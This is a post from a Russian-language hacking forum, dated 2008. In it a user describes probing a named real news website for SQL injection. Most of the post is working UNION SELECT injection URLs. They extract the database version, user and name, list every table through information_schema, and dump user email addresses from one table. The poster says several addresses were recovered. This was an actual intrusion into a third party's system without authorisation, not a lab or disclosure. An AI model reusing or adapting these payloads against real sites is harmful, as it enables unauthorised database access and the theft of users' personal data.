Показать сообщение отдельно

  #11  
Старый 13.07.2008, 04:07
gisTy
Постоянный
Регистрация: 24.05.2008
Сообщений: 589
С нами: 9454841

Репутация: 504


По умолчанию

Цитата:
Сообщение от Zedi  
http://inforos.ru/?id=11041 точно не знаю но мне кажется этот сайт сплошная инъекцияя
впринципе ты оказался прав..
скажу сразу пинг до сайта, по крайней мере у меня большой был, поэтому может грузиться долго
Цитата:
http://inforos.ru/?idt=9999+unioN+select+1,concat_ws(0x3a3a,version( ),user(),database()),3,4,5,6,7/*
version(): 5.0.45-log
user(): inforosnet@localhost
database(): inforosnet

так как версия 5 - смотрим таблицы
Цитата:
http://inforos.ru/?idt=9999+unioN+select+1,concat_ws(0x2e,table_sche ma,table_name),3,4,5,6,7+from+information_schema.t ables/*
беглым взглядом окинув таблицы и ничего интересного не найдя в их названиях - проверил пару из них
Цитата:
http://inforos.ru/?idt=9999+unioN+select+1,concat_ws(0x2e,user_email ),null,null,5,null,null+from+inforos_user_reklama/*
здесь несколько мыльников...
так и не найдя ничего интересного, а скорее всего не пытаясь ничего интересного найти, так как очень хотелось спать, я запостил тут коммент и лег спать=)

Последний раз редактировалось gisTy; 13.07.2008 в 04:10..
 
Ответить с цитированием